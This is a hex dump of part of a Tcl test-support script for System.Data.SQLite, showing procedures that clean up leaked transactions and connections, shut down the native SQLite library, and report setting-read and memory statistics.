20 61 63 74 75 61 6c 20 68 61 6e 64 6c 65 he actual handle 196f0 20 63 6f 75 6e 74 73 20 61 72 65 20 6e 6f 74 20 counts are not 19700 61 76 61 69 6c 61 62 6c 65 3b 20 74 68 65 72 65 available; there 19710 66 6f 72 65 2c 20 6a 75 73 74 0d 0a 20 20 20 20 fore, just.. 19720 20 20 20 20 23 20 20 20 20 20 20 20 72 65 74 75 # retu 19730 72 6e 20 61 6e 20 65 6d 70 74 79 20 6c 69 73 74 rn an empty list 19740 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 19750 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 tputs$cha 19760 6e 6e 65 6c 20 22 2d 2d 2d 2d 20 63 72 69 74 69 nnel "---- criti 19770 63 61 6c 20 68 61 6e 64 6c 65 20 63 6f 75 6e 74 cal handle count 19780 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 5c 6e 22 s unavailable\n" 19790 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 .. }.... 197a0 20 20 20 72 65 74 75 72 6e 20 24 72 65 73 75 6c return $resul 197b0 74 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 t.. }..... 197c0 20 70 72 6f 63 20 73 68 75 74 64 6f 77 6e 53 51 proc shutdownSQ 197d0 4c 69 74 65 20 7b 20 63 68 61 6e 6e 65 6c 20 7b Lite { channel { 197e0 66 6f 72 63 65 20 66 61 6c 73 65 7d 20 7b 71 75 force false} {qu 197f0 69 65 74 20 66 61 6c 73 65 7d 20 7d 20 7b 0d 0a iet false} } {.. 19800 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 #.. # 19810 20 4e 4f 54 45 3a 20 4d 61 6b 65 20 73 75 72 65 NOTE: Make sure 19820 20 74 68 61 74 20 53 51 4c 69 74 65 20 63 6f 72 that SQLite cor 19830 65 20 6c 69 62 72 61 72 79 20 69 73 20 63 6f 6d e library is com 19840 70 6c 65 74 65 6c 79 20 73 68 75 74 64 6f 77 6e pletely shutdown 19850 2e 20 20 54 68 69 73 0d 0a 20 20 20 20 20 20 23 . This.. # 19860 20 20 20 20 20 20 20 69 73 20 75 73 65 64 20 62 is used b 19870 79 20 74 65 73 74 73 20 74 68 61 74 20 63 68 61 y tests that cha 19880 6e 67 65 20 63 6f 6e 66 69 67 75 72 61 74 69 6f nge configuratio 19890 6e 20 6f 70 74 69 6f 6e 73 20 61 6e 64 2f 6f 72 n options and/or 198a0 20 74 68 6f 73 65 0d 0a 20 20 20 20 20 20 23 20 those.. # 198b0 20 20 20 20 20 20 74 68 61 74 20 6e 65 65 64 20 that need 198c0 74 6f 20 6d 61 6b 65 20 73 75 72 65 20 6c 6f 67 to make sure log 198d0 67 69 6e 67 20 69 73 20 69 6e 69 74 69 61 6c 69 ging is initiali 198e0 7a 65 64 20 28 69 2e 65 2e 20 6a 75 73 74 20 69 zed (i.e. just i 198f0 6e 20 63 61 73 65 0d 0a 20 20 20 20 20 20 23 20 n case.. # 19900 20 20 20 20 20 20 74 68 65 20 53 51 4c 69 74 65 the SQLite 19910 20 63 6f 72 65 20 6c 69 62 72 61 72 79 20 77 61 core library wa 19920 73 20 69 6e 69 74 69 61 6c 69 7a 65 64 20 69 6e s initialized in 19930 20 74 68 65 20 70 72 6f 63 65 73 73 20 70 72 69 the process pri 19940 6f 72 20 74 6f 0d 0a 20 20 20 20 20 20 23 20 20 or to.. # 19950 20 20 20 20 20 74 68 65 20 53 51 4c 69 74 65 4c the SQLiteL 19960 6f 67 20 63 6c 61 73 73 20 62 65 69 6e 67 20 61 og class being a 19970 62 6c 65 20 74 6f 20 73 65 74 75 70 20 69 74 73 ble to setup its 19980 20 6c 6f 67 67 69 6e 67 20 63 61 6c 6c 62 61 63 logging callbac 19990 6b 29 2e 0d 0a 20 20 20 20 20 20 23 20 20 20 20 k)... # 199a0 20 20 20 4e 6f 72 6d 61 6c 6c 79 2c 20 74 68 69 Normally, thi 199b0 73 20 73 68 6f 75 6c 64 20 6f 6e 6c 79 20 62 65 s should only be 199c0 20 70 65 72 66 6f 72 6d 65 64 20 69 66 20 53 51 performed if SQ 199d0 4c 69 74 65 20 69 73 20 6c 6f 61 64 65 64 20 61 Lite is loaded a 199e0 6e 64 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 nd.. # 199f0 20 20 72 65 61 64 79 20 66 6f 72 20 75 73 65 20 ready for use 19a00 62 79 20 74 68 65 20 74 65 73 74 20 73 75 69 74 by the test suit 19a10 65 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 e... #.. 19a20 20 20 20 69 66 20 7b 24 66 6f 72 63 65 20 7c 7c if {$force || 19a30 20 5b 69 73 53 51 4c 69 74 65 52 65 61 64 79 5d [isSQLiteReady] 19a40 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 19a50 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 42 #.. # B 19a60 55 47 46 49 58 3a 20 4d 61 6b 65 20 73 75 72 65 UGFIX: Make sure 19a70 20 74 68 61 74 20 61 6e 79 20 22 6c 65 61 6b 65 that any "leake 19a80 64 22 20 74 72 61 6e 73 61 63 74 69 6f 6e 73 20 d" transactions 19a90 61 6e 64 2f 6f 72 20 63 6f 6e 6e 65 63 74 69 6f and/or connectio 19aa0 6e 73 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 ns.. # 19ab0 20 20 20 20 20 20 61 72 65 20 63 6c 65 61 6e 65 are cleane 19ac0 64 20 75 70 20 62 65 66 6f 72 65 20 63 61 6c 6c d up before call 19ad0 69 6e 67 20 74 68 65 20 6e 61 74 69 76 65 20 73 ing the native s 19ae0 68 75 74 64 6f 77 6e 20 66 75 6e 63 74 69 6f 6e hutdown function 19af0 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 19b00 20 20 20 20 20 20 66 6f 72 65 61 63 68 20 74 72 foreach tr 19b10 61 6e 73 61 63 74 69 6f 6e 20 5b 69 6e 66 6f 20 ansaction [info 19b20 74 72 61 6e 73 61 63 74 69 6f 6e 73 5d 20 7b 0d transactions] {. 19b30 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 5b . if {[ 19b40 73 74 72 69 6e 67 20 6d 61 74 63 68 20 5c 0d 0a string match \.. 19b50 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 79 Sy 19b60 73 74 65 6d 23 44 61 74 61 23 53 51 4c 69 74 65 stem#Data#SQLite 19b70 23 53 51 4c 69 74 65 54 72 61 6e 73 61 63 74 69 #SQLiteTransacti 19b80 6f 6e 23 2a 20 24 74 72 61 6e 73 61 63 74 69 6f on#* $transactio 19b90 6e 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 n]} then {.. 19ba0 20 20 20 20 20 20 20 20 69 66 20 7b 5b 63 61 74 if {[cat 19bb0 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 ch {.. 19bc0 20 20 20 20 73 71 6c 20 74 72 61 6e 73 61 63 74 sql transact 19bd0 69 6f 6e 20 72 6f 6c 6c 62 61 63 6b 20 24 74 72 ion rollback$tr 19be0 61 6e 73 61 63 74 69 6f 6e 0d 0a 20 20 20 20 20 ansaction.. 19bf0 20 20 20 20 20 20 20 7d 20 65 72 72 6f 72 5d 20 } error] 19c00 3d 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 == 0} then {.. 19c10 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b if { 19c20 21 24 71 75 69 65 74 7d 20 74 68 65 6e 20 7b 0d !$quiet} then {. 19c30 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 19c40 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 tputs$channel 19c50 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 [appendArgs \.. 19c60 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 19c70 20 20 20 22 2d 2d 2d 2d 20 72 6f 6c 6c 65 64 20 "---- rolled 19c80 62 61 63 6b 20 6c 65 61 6b 65 64 20 74 72 61 6e back leaked tran 19c90 73 61 63 74 69 6f 6e 20 5c 22 22 20 5c 0d 0a 20 saction \"" \.. 19ca0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 19cb0 20 20 20 24 74 72 61 6e 73 61 63 74 69 6f 6e 20 $transaction 19cc0 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 \"\n].. 19cd0 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 }.. 19ce0 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 } else {.. 19cf0 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b if { 19d00 21 24 71 75 69 65 74 7d 20 74 68 65 6e 20 7b 0d !$quiet} then {. 19d10 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 19d20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 tputs $channel 19d30 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 [appendArgs \.. 19d40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 19d50 20 20 20 22 3d 3d 3d 3d 20 57 41 52 4e 49 4e 47 "==== WARNING 19d60 3a 20 66 61 69 6c 65 64 20 74 6f 20 72 6f 6c 6c : failed to roll 19d70 62 61 63 6b 20 6c 65 61 6b 65 64 20 74 72 61 6e back leaked tran 19d80 73 61 63 74 69 6f 6e 20 5c 22 22 20 5c 0d 0a 20 saction \"" \.. 19d90 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 19da0 20 20 20 24 74 72 61 6e 73 61 63 74 69 6f 6e 20$transaction 19db0 22 5c 22 2c 20 65 72 72 6f 72 3a 20 22 20 5c 6e "\", error: " \n 19dc0 5c 74 20 24 65 72 72 6f 72 20 5c 6e 5d 0d 0a 20 \t $error \n].. 19dd0 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a }.. 19de0 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 }.. 19df0 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 }.. 19e00 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 }.... 19e10 20 66 6f 72 65 61 63 68 20 64 62 20 5b 69 6e 66 foreach db [inf 19e20 6f 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 5d 20 7b o connections] { 19e30 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 7b .. if { 19e40 5b 73 74 72 69 6e 67 20 6d 61 74 63 68 20 5c 0d [string match \. 19e50 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 . S 19e60 79 73 74 65 6d 23 44 61 74 61 23 53 51 4c 69 74 ystem#Data#SQLit 19e70 65 23 53 51 4c 69 74 65 43 6f 6e 6e 65 63 74 69 e#SQLiteConnecti 19e80 6f 6e 23 2a 20 24 64 62 5d 7d 20 74 68 65 6e 20 on#*$db]} then 19e90 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 {.. i 19ea0 66 20 7b 5b 63 61 74 63 68 20 7b 73 71 6c 20 63 f {[catch {sql c 19eb0 6c 6f 73 65 20 24 64 62 7d 20 65 72 72 6f 72 5d lose $db} error] 19ec0 20 3d 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 == 0} then {.. 19ed0 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 if 19ee0 7b 21 24 71 75 69 65 74 7d 20 74 68 65 6e 20 7b {!$quiet} then { 19ef0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 19f00 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c tputs $channel 19f10 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a [appendArgs \.. 19f20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 19f30 20 20 20 20 22 2d 2d 2d 2d 20 63 6c 6f 73 65 64 "---- closed 19f40 20 6c 65 61 6b 65 64 20 64 61 74 61 62 61 73 65 leaked database 19f50 20 5c 22 22 20 24 64 62 20 5c 22 5c 6e 5d 0d 0a \""$db \"\n].. 19f60 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d }. 19f70 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 . } e 19f80 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 lse {.. 19f90 20 20 20 20 20 69 66 20 7b 21 24 71 75 69 65 74 if {!$quiet 19fa0 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 19fb0 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 tputs 19fc0 24 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64$channel [append 19fd0 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 Args \.. 19fe0 20 20 20 20 20 20 20 20 20 20 20 20 22 3d 3d 3d "=== 19ff0 3d 20 57 41 52 4e 49 4e 47 3a 20 66 61 69 6c 65 = WARNING: faile 1a000 64 20 74 6f 20 63 6c 6f 73 65 20 6c 65 61 6b 65 d to close leake 1a010 64 20 64 61 74 61 62 61 73 65 20 5c 22 22 20 5c d database \"" \ 1a020 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 1a030 20 20 20 20 20 20 24 64 62 20 22 5c 22 2c 20 65 $db "\", e 1a040 72 72 6f 72 3a 20 22 20 5c 6e 5c 74 20 24 65 72 rror: " \n\t$er 1a050 72 6f 72 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 ror \n].. 1a060 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 }.. 1a070 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 }.. 1a080 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d }.. }. 1a090 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 1a0a0 20 20 20 20 20 20 23 20 42 55 47 46 49 58 3a 20 # BUGFIX: 1a0b0 42 65 66 6f 72 65 20 63 61 6c 6c 69 6e 67 20 74 Before calling t 1a0c0 68 65 20 6e 61 74 69 76 65 20 73 68 75 74 64 6f he native shutdo 1a0d0 77 6e 20 66 75 6e 63 74 69 6f 6e 2c 20 6d 61 6b wn function, mak 1a0e0 65 20 73 75 72 65 20 62 6f 74 68 0d 0a 20 20 20 e sure both.. 1a0f0 20 20 20 20 20 23 20 20 20 20 20 20 20 20 20 6f # o 1a100 66 20 74 68 65 20 50 52 41 47 4d 41 20 72 65 6c f the PRAGMA rel 1a110 61 74 65 64 20 64 69 72 65 63 74 6f 72 79 20 6e ated directory n 1a120 61 6d 65 73 20 61 72 65 20 66 72 65 65 64 2e 0d ames are freed.. 1a130 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 1a140 20 20 20 20 63 68 65 63 6b 46 6f 72 53 51 4c 69 checkForSQLi 1a150 74 65 44 69 72 65 63 74 6f 72 69 65 73 20 24 63 teDirectories $c 1a160 68 61 6e 6e 65 6c 20 74 72 75 65 0d 0a 0d 0a 20 hannel true.... 1a170 20 20 20 20 20 20 20 69 66 20 7b 5b 63 61 74 63 if {[catc 1a180 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 6f h {.. o 1a190 62 6a 65 63 74 20 69 6e 76 6f 6b 65 20 2d 66 6c bject invoke -fl 1a1a0 61 67 73 20 2b 4e 6f 6e 50 75 62 6c 69 63 20 5c ags +NonPublic \ 1a1b0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 1a1c0 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 System.Data.SQLi 1a1d0 74 65 2e 55 6e 73 61 66 65 4e 61 74 69 76 65 4d te.UnsafeNativeM 1a1e0 65 74 68 6f 64 73 20 73 71 6c 69 74 65 33 5f 73 ethods sqlite3_s 1a1f0 68 75 74 64 6f 77 6e 0d 0a 20 20 20 20 20 20 20 hutdown.. 1a200 20 7d 20 72 65 73 75 6c 74 5d 20 3d 3d 20 30 7d } result] == 0} 1a210 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 1a220 20 20 20 69 66 20 7b 21 24 71 75 69 65 74 7d 20 if {!$quiet} 1a230 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 1a240 20 20 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e tputs $chann 1a250 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c el [appendArgs \ 1a260 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 1a270 20 20 22 2d 2d 2d 2d 20 63 61 6c 6c 20 73 71 6c "---- call sql 1a280 69 74 65 33 5f 73 68 75 74 64 6f 77 6e 28 29 2e ite3_shutdown(). 1a290 2e 2e 20 6f 6b 3a 20 22 20 24 72 65 73 75 6c 74 .. ok: "$result 1a2a0 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 \n].. 1a2b0 7d 0d 0a 20 20 20 20 20 20 20 20 7d 20 65 6c 73 }.. } els 1a2c0 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 69 e {.. i 1a2d0 66 20 7b 21 24 71 75 69 65 74 7d 20 74 68 65 6e f {!$quiet} then 1a2e0 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. 1a2f0 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b tputs$channel [ 1a300 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 appendArgs \.. 1a310 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 2d "- 1a320 2d 2d 2d 20 63 61 6c 6c 20 73 71 6c 69 74 65 33 --- call sqlite3 1a330 5f 73 68 75 74 64 6f 77 6e 28 29 2e 2e 2e 20 65 _shutdown()... e 1a340 72 72 6f 72 3a 20 22 20 5c 6e 5c 74 20 24 72 65 rror: " \n\t $re 1a350 73 75 6c 74 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 sult \n].. 1a360 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d }.. } 1a370 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d .. }.. } 1a380 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 72 65 ..... proc re 1a390 70 6f 72 74 53 51 4c 69 74 65 52 65 73 6f 75 72 portSQLiteResour 1a3a0 63 65 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 ces {.. 1a3b0 20 20 20 63 68 61 6e 6e 65 6c 20 7b 71 75 69 65 channel {quie 1a3c0 74 20 66 61 6c 73 65 7d 20 7b 72 65 73 65 74 20 t false} {reset 1a3d0 74 72 75 65 7d 20 7b 63 6f 6c 6c 65 63 74 20 74 true} {collect t 1a3e0 72 75 65 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 rue} } {.. 1a3f0 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a #.. # NOTE: 1a400 20 49 66 20 61 76 61 69 6c 61 62 6c 65 2c 20 72 If available, r 1a410 65 70 6f 72 74 20 6f 6e 20 28 61 6e 64 20 70 6f eport on (and po 1a420 73 73 69 62 6c 79 20 72 65 73 65 74 29 20 74 68 ssibly reset) th 1a430 65 20 72 75 6e 74 69 6d 65 0d 0a 20 20 20 20 20 e runtime.. 1a440 20 23 20 20 20 20 20 20 20 63 6f 6e 66 69 67 75 # configu 1a450 72 61 74 69 6f 6e 20 73 74 61 74 69 73 74 69 63 ration statistic 1a460 73 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 s... #.. 1a470 20 20 20 69 66 20 7b 5b 68 61 76 65 53 51 4c 69 if {[haveSQLi 1a480 74 65 4f 62 6a 65 63 74 43 6f 6d 6d 61 6e 64 5d teObjectCommand] 1a490 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 && \.. 1a4a0 20 5b 68 61 76 65 43 6f 6e 73 74 72 61 69 6e 74 [haveConstraint 1a4b0 20 62 75 69 6c 64 43 6f 6e 66 69 67 75 72 61 74 buildConfigurat 1a4c0 69 6f 6e 2e 44 65 62 75 67 5d 20 26 26 20 5b 63 ion.Debug] && [c 1a4d0 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 atch {.. 1a4e0 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 20 2d 66 object invoke -f 1a4f0 6c 61 67 73 20 2b 4e 6f 6e 50 75 62 6c 69 63 20 lags +NonPublic 1a500 2d 61 6c 69 61 73 20 5c 0d 0a 20 20 20 20 20 20 -alias \.. 1a510 20 20 20 20 20 20 53 79 73 74 65 6d 2e 44 61 74 System.Dat 1a520 61 2e 53 51 4c 69 74 65 2e 55 6e 73 61 66 65 4e a.SQLite.UnsafeN 1a530 61 74 69 76 65 4d 65 74 68 6f 64 73 20 73 65 74 ativeMethods set 1a540 74 69 6e 67 52 65 61 64 43 6f 75 6e 74 73 0d 0a tingReadCounts.. 1a550 20 20 20 20 20 20 7d 20 73 65 74 74 69 6e 67 52 } settingR 1a560 65 61 64 43 6f 75 6e 74 73 5d 20 3d 3d 20 30 7d eadCounts] == 0} 1a570 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 1a580 20 73 65 74 20 6e 61 6d 65 43 6f 75 6e 74 20 5b set nameCount [ 1a590 24 73 65 74 74 69 6e 67 52 65 61 64 43 6f 75 6e$settingReadCoun 1a5a0 74 73 20 43 6f 75 6e 74 5d 0d 0a 20 20 20 20 20 ts Count].. 1a5b0 20 20 20 73 65 74 20 76 61 6c 75 65 43 6f 75 6e set valueCoun 1a5c0 74 20 30 0d 0a 0d 0a 20 20 20 20 20 20 20 20 6f t 0.... o 1a5d0 62 6a 65 63 74 20 66 6f 72 65 61 63 68 20 2d 61 bject foreach -a 1a5e0 6c 69 61 73 20 70 61 69 72 20 24 73 65 74 74 69 lias pair $setti 1a5f0 6e 67 52 65 61 64 43 6f 75 6e 74 73 20 7b 0d 0a ngReadCounts {.. 1a600 20 20 20 20 20 20 20 20 20 20 69 6e 63 72 20 76 incr v 1a610 61 6c 75 65 43 6f 75 6e 74 20 5b 24 70 61 69 72 alueCount [$pair 1a620 20 56 61 6c 75 65 5d 0d 0a 0d 0a 20 20 20 20 20 Value].... 1a630 20 20 20 20 20 69 66 20 7b 21 24 71 75 69 65 74 if {!$quiet 1a640 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 1a650 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 tputs$cha 1a660 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 nnel [appendArgs 1a670 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 1a680 20 20 20 20 22 2d 2d 2d 2d 20 73 65 74 74 69 6e "---- settin 1a690 67 20 5c 22 22 20 5b 24 70 61 69 72 20 4b 65 79 g \"" [$pair Key 1a6a0 5d 20 22 5c 22 20 77 61 73 20 72 65 61 64 20 22 ] "\" was read " 1a6b0 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 1a6c0 20 20 20 20 5b 24 70 61 69 72 20 56 61 6c 75 65 [$pair Value 1a6d0 5d 20 22 20 74 69 6d 65 73 5c 6e 22 5d 0d 0a 20 ] " times\n"].. 1a6e0 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 }.. 1a6f0 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 }.... 1a700 20 69 66 20 7b 24 72 65 73 65 74 7d 20 74 68 65 if {$reset} the 1a710 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 69 n {.. i 1a720 66 20 7b 5b 63 61 74 63 68 20 7b 24 73 65 74 74 f {[catch {$sett 1a730 69 6e 67 52 65 61 64 43 6f 75 6e 74 73 20 43 6c ingReadCounts Cl 1a740 65 61 72 7d 20 65 72 72 6f 72 5d 20 3d 3d 20 30 ear} error] == 0 1a750 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 1a760 20 20 20 20 20 20 69 66 20 7b 21 24 71 75 69 65 if {!$quie 1a770 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 t} then {.. 1a780 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 tputs$ 1a790 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA 1a7a0 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 rgs \.. 1a7b0 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 72 "---- r 1a7c0 65 73 65 74 20 73 65 74 74 69 6e 67 20 73 74 61 eset setting sta 1a7d0 74 69 73 74 69 63 73 20 66 6f 72 20 74 68 65 20 tistics for the 1a7e0 70 72 65 76 69 6f 75 73 20 22 20 5c 0d 0a 20 20 previous " \.. 1a7f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 1a800 24 6e 61 6d 65 43 6f 75 6e 74 20 22 20 6e 61 6d $nameCount " nam 1a810 65 73 20 61 6e 64 20 22 20 24 76 61 6c 75 65 43 es and "$valueC 1a820 6f 75 6e 74 20 22 20 76 61 6c 75 65 73 20 72 65 ount " values re 1a830 61 64 5c 6e 22 5d 0d 0a 20 20 20 20 20 20 20 20 ad\n"].. 1a840 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 }.. 1a850 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 } else {.. 1a860 20 20 20 20 20 20 20 74 70 75 74 73 20 24 63 68 tputs $ch 1a870 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 annel [appendArg 1a880 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 s \.. 1a890 20 20 20 20 20 22 3d 3d 3d 3d 20 57 41 52 4e 49 "==== WARNI 1a8a0 4e 47 3a 20 66 61 69 6c 65 64 20 74 6f 20 72 65 NG: failed to re 1a8b0 73 65 74 20 73 65 74 74 69 6e 67 20 73 74 61 74 set setting stat 1a8c0 69 73 74 69 63 73 20 66 6f 72 20 22 20 5c 0d 0a istics for " \.. 1a8d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 1a8e0 22 74 68 65 20 70 72 65 76 69 6f 75 73 20 22 20 "the previous " 1a8f0 24 6e 61 6d 65 43 6f 75 6e 74 20 22 20 6e 61 6d$nameCount " nam 1a900 65 73 20 61 6e 64 20 22 20 24 76 61 6c 75 65 43 es and " $valueC 1a910 6f 75 6e 74 20 5c 0d 0a 20 20 20 20 20 20 20 20 ount \.. 1a920 20 20 20 20 20 20 20 20 22 20 76 61 6c 75 65 73 " values 1a930 20 72 65 61 64 2c 20 65 72 72 6f 72 3a 20 22 20 read, error: " 1a940 5c 6e 5c 74 20 24 65 72 72 6f 72 20 5c 6e 5d 0d \n\t$error \n]. 1a950 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 . }.. 1a960 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d }.. } 1a970 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 68 .... if {[h 1a980 61 76 65 53 51 4c 69 74 65 4f 62 6a 65 63 74 43 aveSQLiteObjectC 1a990 6f 6d 6d 61 6e 64 5d 20 26 26 20 5b 68 61 76 65 ommand] && [have 1a9a0 43 6f 6e 73 74 72 61 69 6e 74 20 5c 0d 0a 20 20 Constraint \.. 1a9b0 20 20 20 20 20 20 20 20 20 20 20 20 64 65 66 69 defi 1a9c0 6e 65 43 6f 6e 73 74 61 6e 74 2e 53 79 73 74 65 neConstant.Syste 1a9d0 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 49 4e m.Data.SQLite.IN 1a9e0 54 45 52 4f 50 5f 56 49 52 54 55 41 4c 5f 54 41 TEROP_VIRTUAL_TA 1a9f0 42 4c 45 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 BLE] && \.. 1aa00 20 20 20 20 20 5b 68 61 76 65 43 6f 6e 73 74 72 [haveConstr 1aa10 61 69 6e 74 20 5c 0d 0a 20 20 20 20 20 20 20 20 aint \.. 1aa20 20 20 20 20 20 20 64 65 66 69 6e 65 43 6f 6e 73 defineCons 1aa30 74 61 6e 74 2e 53 79 73 74 65 6d 2e 44 61 74 61 tant.System.Data 1aa40 2e 53 51 4c 69 74 65 2e 54 52 41 43 4b 5f 4d 45 .SQLite.TRACK_ME 1aa50 4d 4f 52 59 5f 42 59 54 45 53 5d 7d 20 74 68 65 MORY_BYTES]} the 1aa60 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 n {.. if 1aa70 7b 21 24 71 75 69 65 74 7d 20 74 68 65 6e 20 7b {!$quiet} then { 1aa80 0d 0a 20 20 20 20 20 20 20 20 20 20 74 70 75 74 .. tput 1aa90 73 20 24 63 68 61 6e 6e 65 6c 20 22 2d 2d 2d 2d s$channel "---- 1aaa0 20 63 75 72 72 65 6e 74 20 6d 65 6d 6f 72 79 20 current memory 1aab0 69 6e 20 75 73 65 20 62 79 20 53 51 4c 69 74 65 in use by SQLite 1aac0 4d 65 6d 6f 72 79 2e 2e 2e 20 22 0d 0a 20 20 20 Memory... ".. 1aad0 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 1aae0 20 20 69 66 20 7b 5b 63 61 74 63 68 20 7b 0d 0a if {[catch {.. 1aaf0 20 20 20 